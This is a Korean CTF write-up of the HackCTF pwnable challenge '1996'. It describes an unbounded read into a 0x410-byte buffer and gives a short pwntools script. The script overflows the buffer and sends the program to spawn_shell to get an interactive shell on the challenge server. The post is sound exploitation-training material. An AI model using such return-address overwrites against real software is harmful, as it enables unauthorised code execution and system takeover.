[HackCTF] 1996
System/PWNABLE

[HackCTF] 1996

728x90

check

- 64bit

- NX

Analyze

pseudo code

main()
spawn_shell()

실행

- 환경변수를 입력하면 환경변수의 값을 출력해준다.

- 환경변수를 입력받을 때 name 변수에 저장하는 듯 하다. name 변수는 0x410 byte만큼 할당되어 있고, 길이제한 없이 값을 입력받는다.

- 입력받은 이름(값)을 getenv 함수를 통해 찾아낸다.

Exploit

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3013)

pl = "A"*(0x410 + 8)
pl += p64(0x400897)

p.sendline(pl)
p.interactive()

! 성공 !

C++라서 이해가 잘 안되는 코드들이 많았지만,,, 실행해보면서 대충 어떤 식으로 payload를 짜면 될 지 감이 왔고 겁먹은 만큼 어려운 문제는 아니였다!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] RTL core  (0) 2021.02.14
[HackCTF] Random Key  (0) 2021.02.13
[HackCTF] g++ pwn  (0) 2021.02.13
[HackCTF] Poet  (0) 2021.02.11
[HackCTF] RTL_World  (0) 2021.02.11